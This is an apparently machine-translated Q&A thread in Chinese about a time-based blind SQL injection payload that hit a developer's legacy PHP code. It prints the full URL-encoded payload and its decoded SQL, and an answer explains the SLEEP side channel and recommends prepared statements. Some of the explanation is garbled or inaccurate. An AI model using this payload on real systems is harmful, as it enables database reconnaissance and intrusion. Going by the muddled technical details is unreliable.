我们最近在一些我们喜爱的遗留代码库上进行了 SQL 注入尝试(老实说相当成功)。
/someFile.php?b=4430%20AND%20%28SELECT%209391%20FROM%20%28SELECT%28SLEEP%2832-%28IF%28ORD%28MID%28%28SELECT%20HEX%28IFNULL%28CAST%28COUNT%28DISTINCT%28table_schema% 29%29%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20column_name%20LIKE%200x257761636874776f6f726425%20AND%20table_schema%20%21%3D%200x6 96e666f726d6174696f6e5f736368656d61%20AND%20table_schema%20%21% 3D%200x6d7973716c%20AND%20table_schema%20%21%3D%200x706572666f726d616e63655f736368656d61%20AND%20table_schema%20%21%3D%200x737973%29%2C1%2C1%29 %29%3E1%2C0%2C32%29%29%29% 29%29iOms%29
全部修复、阻止和报告,但我仍然很好奇 -
该查询应该做什么?只是阻止资源(如在 DOS 中)或收集信息?
SELECT 9391
FROM (SELECT(SLEEP(32-(IF(ORD(MID(
(SELECT HEX(IFNULL(CAST(COUNT(DISTINCT(table_schema)) AS NCHAR),0x20))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE 0x257761636874776f6f726425
AND table_schema != 0x696e666f726d6174696f6e5f736368656d61
AND table_schema != 0x6d7973716c
AND table_schema != 0x706572666f726d616e63655f736368656d61
AND table_schema != 0x737973),1, 1))>1, 0, 32)))))iOms
Run Code Online (Sandbox Code Playgroud)
我不明白它的十六进制部分......
5 个十六进制值对这些字符串进行编码:
%wachtwoord%information_schemamysqlperformance_schemasys它尝试使用查询执行时间作为侧通道来传达查询结果。sleep根据该大型子查询的结果,它将需要不同的时间量。
嵌套语句的结果select被传递到mid,然后它采用从第一个字符开始的 1 长度子字符串。即,它只是获取索引 1 处的字符(第二个字符)。
该字符串被传递给ord,它将其第一个字符转换为数字。然后从 中减去该数字32,并使查询在该持续时间内休眠。
如果您注意到,上面的 5 个字符串中的每一个都有一个唯一的第二个字符。该查询正在找出其中存在哪一个,并等待一段特定的时间作为响应。通过计算查询所需的时间,攻击者可以看到哪些表存在,他们可以使用您正在使用的特定 RDMSS。从那里,他们可以使用 RDMSS 特定的 SQL 方言来执行下一个命令。
换句话说:伙计们,使用准备好的陈述。令人尴尬的是,这仍然是一个问题。